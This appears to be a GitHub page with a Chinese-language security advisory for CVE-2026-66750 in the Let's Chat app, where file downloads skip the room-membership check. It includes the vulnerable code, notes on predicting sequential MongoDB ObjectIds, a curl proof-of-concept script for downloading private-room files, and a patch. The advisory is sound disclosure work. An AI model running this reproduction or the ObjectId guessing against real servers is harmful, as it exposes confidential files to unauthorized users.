theopaid/CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

GitHub: theopaid/CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

披露 Let's Chat 聊天应用的文件下载接口因缺少房间级访问控制,导致任意登录用户可越权下载私密房间附件的安全漏洞公告。

Stars: 0 | Forks: 0

# 安全公告:访问控制不足导致未授权文件下载 **分配的 CVE ID:** CVE-2026-66750 ## 摘要 `GET /files/:id/:name` 会检查调用者是否已登录,然后提供该文件。但它从未检查调用者是否有权查看该文件所属的房间。 因此,任何账户都可以读取其未加入的私有和受密码保护房间中的附件,并且对于那些已经被撤销房间访问权限的用户,只要他们在拥有访问权限期间文件被上传,他们就能保留所有这些文件的有效下载链接。 同一 controller 中的文件列表接口确实检查了成员资格,而这正是下载接口所缺失的。 ## 受影响版本 Repo URL: https://github.com/sdelements/lets-chat 从 0.3.0 版本(commit `55e8833`,2015 年 1 月 24 日,"Files backend")到最终发布版本 0.4.8 均受此漏洞影响。目前不存在修复版本。 私有和受密码保护的房间是在 0.4.0 版本中引入的,因此该漏洞跨越的机密性边界从 0.4.0 版本开始存在。 需要设置 `files.enable: true`,该选项在 `defaults.yml` 中默认关闭,但在许多部署环境中是开启的,因为文件共享是一项官方记录的功能。 已在 commit `617207f` 的 0.4.8 版本以及 `docker.io/sdelements/lets-chat:latest` (0.4.7) 上确认存在该漏洞。 ## 分类 CWE-639: Authorization Bypass Through User-Controlled Key。同时也涉及 CWE-862, Missing Authorization。 CVSS 4.0 基础评分 5.3(中危) `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` ## 威胁模型 攻击者需要一个普通用户账户、对 HTTP 端口的网络访问权限以及文件的 ObjectId。默认情况下启用自主注册。 在实践中,该 id 并不保密。任何曾经是该房间成员的人都已经拥有它,因为 `files:list` 以及上传时发布的 `upload://files//` 消息都会将其分发出去。撤销访问权限并不会使其失效,且 URL 也没有过期时间或签名。 对于在目标房间中没有历史记录的攻击者,必须猜测该 id。它是一个 MongoDB ObjectId,而不是 UUID,并且其中几乎没有什么不可预测的部分: ``` 6a65092c fa7876 0001 34649e | | | | | | | +--- 3 byte counter, increments by one per document | | +--------- 2 byte process id | +--------------- 3 byte machine id, fixed for the life of the process +----------------------- 4 byte Unix timestamp, one second resolution ``` 在服务器进程的生命周期内,除了 counter 之外的所有内容都是固定的,而且该 counter 是每个 collection 共享的单一序列。因此,只要攻击者上传了一个属于自己的文件,就能获知 machine id、process id 以及当前的 counter 位置,而其他任何人上传的每个文件都位于该序列中不远的位置。在 `sdelements/lets-chat:latest` 上的连续八次上传: ``` 6a65092c fa7876 0001 34649e 6a65092c fa7876 0001 34649f 6a65092c fa7876 0001 3464a0 6a65092c fa7876 0001 3464a1 6a65092c fa7876 0001 3464a2 6a65092c fa7876 0001 3464a3 6a65092c fa7876 0001 3464a4 6a65092c fa7876 0001 3464a5 ``` ## 技术细节 下载路由仅应用了 `requireLogin`,没有应用其他任何检查。 `app/controllers/files.js:59-92`: ``` app.route('/files/:id/:name') .all(middlewares.requireLogin) .get(function(req, res) { models.file.findById(req.params.id, function(err, file) { if (err) { // Error return res.send(400); } if (!file) { return res.send(404); } var isImage = [ 'image/jpeg', 'image/png', 'image/gif' ].indexOf(file.type) > -1; var url = core.files.getUrl(file); if (settings.provider === 'local') { res.sendFile(url, { headers: { 'Content-Type': file.type, 'Content-Disposition': isImage ? 'inline' : 'attachment' } }); } else { res.redirect(url); } }); }); ``` `file.room` 虽然被加载,但从未被使用。 同一功能模块中的列表路径确实对成员资格进行了限制。 `app/core/files.js:156-175`: ``` Room.findById(options.room, function(err, room) { ... var opts = { userId: options.userId, password: options.password }; room.canJoin(opts, function(err, canJoin) { ... if (!canJoin) { return cb(null, []); } ``` 因此,应用程序其实已经具备了所需的检查逻辑(`Room.canJoin`,定义于 `app/models/room.js:130`);下载路由只是没有调用它而已。 ## 复现步骤 需要 `files.enable: true` 且 `rooms.private: true` (`LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true`)。 ``` BASE=http://localhost:5000 for U in owner insider; do curl -s -X POST $BASE/account/register \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$U\",\"email\":\"$U@example.com\", \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\", \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}" curl -s -c $U.txt -X POST $BASE/account/login \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}" done # 1. 所有者创建一个私密房间并添加 insider。记下 room id。 curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \ -d '{"name":"Project","slug":"project","private":true}' RID= curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \ -d '{"name":"Project","description":"","participants":"insider"}' # 2. 所有者上传一个文件。记下 file id。 echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png curl -s -b owner.txt -F "file=@roadmap.png;type=image/png" $BASE/rooms/$RID/files FID= # 3. 所有者撤销 insider。 curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \ -d '{"name":"Project","description":"","participants":""}' # 4. insider 现在已被正确锁定,无法访问该房间。 curl -s -b insider.txt "$BASE/files?room=$RID" curl -s -b insider.txt "$BASE/messages?room=$RID" # 5. 但文件仍然可以下载。 curl -s -b insider.txt "$BASE/files/$FID/roadmap.png" ``` 如果已知文件 id,对于从未加入过该房间的账户,也会产生相同的结果。 ## 影响 私有和受密码保护房间中的附件可被服务器上任何持有或能推导出文件 id 的账户读取。将某人从私有房间中移除或更改房间密码,并不能切断他们对已上传文件的访问权限,归档房间也同样不能。 ## 修复建议 加载房间并复用 `files:list` 已经执行的检查。在 `app/controllers/files.js:62` 中,在 `if (!file)` 保护语句之后: ``` models.room.findById(file.room, function(err, room) { if (err || !room) { return res.sendStatus(404); } room.canJoin({ userId: req.user._id, password: req.param('password') }, function(err, canJoin) { if (err || !canJoin) { return res.sendStatus(404); } // existing sendFile / redirect logic }); }); ``` 对于未授权的 id 返回 404 而不是 403,可以避免向攻击者确认该文件确实存在。
标签:CVE, MITM代理, Streamlit, 即时通讯, 数字签名, 漏洞报告, 访问控制, 请求拦截